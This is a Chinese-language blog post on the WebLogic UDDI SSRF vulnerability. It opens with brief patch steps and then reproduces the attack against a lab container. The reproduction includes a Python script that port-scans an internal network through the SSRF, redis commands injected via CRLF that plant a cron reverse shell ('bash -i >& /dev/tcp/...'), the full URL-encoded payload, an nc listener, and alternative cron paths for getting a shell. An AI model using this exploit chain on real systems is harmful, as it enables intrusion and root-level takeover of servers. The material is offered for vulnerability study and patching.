漏洞出现位置与解决方法
Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。所以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了,我们这里采用的是改后辍的方式。 修复步骤如下:1.将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份 2.将weblogic安装目录下的server/lib/uddiexplorer.war下载 3.用winrar等工具打开uddiexplorer.war 4.将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx 5.保存后上传回服务端替换原先的uddiexplorer.war 6.对于多台主机组成的集群,针对每台主机都要做这样的操作 7.由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用--停server--停控制台--启控制台--启server--启应用)漏洞复现 1、访问地址,查看是否存在 http://172.21.0.3:7001/uddiexplorer/ 2、SSRF漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp 3、使用Burpsuite测试,因为访问的是内网IP,按道理来说应该是拒绝访问的。 4、访问存在的端口时,比如http://127.0.0.1:7001,可访问的端口将回显错误,一般返回内容为status code,如果访问的是非http协议的话,则返回did not have a valid SOAP content-type
5、访问不存在的端口时,将返回could not connect HTTP server 6、可以通过页面返回错误不同,探测内网端口的开放状态,加以利用。
注入HTTP头,利用redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。 首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的,所以redis服务器的内网即是 docker的网段(docker环境的网段一般是172.*): 使用脚本进行探测:import thread import time import re import requests def ite_ip(ip): for i in range(1, 256): final_ip = '{ip}.{i}'.format(ip=ip, i=i) print final_ip thread.start_new_thread(scan, (final_ip,)) time.sleep(3) def scan(final_ip): ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379') for port in ports: vul_url = 'http://172.21.0.3:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port) try: #print vul_url r = requests.get(vul_url, timeout=15, verify=False) result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content) result2 = re.findall('but could not connect', r.content) result3 = re.findall('No route to host', r.content) if len(result1) != 0 and len(result2) == 0 and len(result3) == 0: print '[!]'+final_ip + ':' + port except Exception, e: pass if __name__ == '__main__': ip = "172.21.0" if ip: print ip ite_ip(ip) else: print "no ip"使用Python2运行后得到: 发现存在6379端口,开放redis服务。 通过发送三条redis命令,将反弹shell脚本写入/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save将三条命令通过GET方式注入,不过需要将命令进行URL编码。(注意换行符是"\r\n",也就是“%0D%0A”)
%74%65%73%74%0d%0a%0d%0a%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%32%37%2e%31%2e%31%35%2f%32%31%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65%0d%0a%0d%0a%61%61%61把构造好的数据包通过burp继续传输,将URL编码后的字符串放在ssrf的域名后 使用nc -lvnp 21进行监听,反弹shell。 可利用的cron:
/etc/crontab 这个是肯定的 /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。 /var/spool/cron/root centos系统下root用户的cron文件 /var/spool/cron/crontabs/root debian系统下root用户的cron文件
标签:65%,SSRF,ip,漏洞,6e%,weblogic,74%,20%,0a% From: https://www.cnblogs.com/pursue-security/p/17029510.html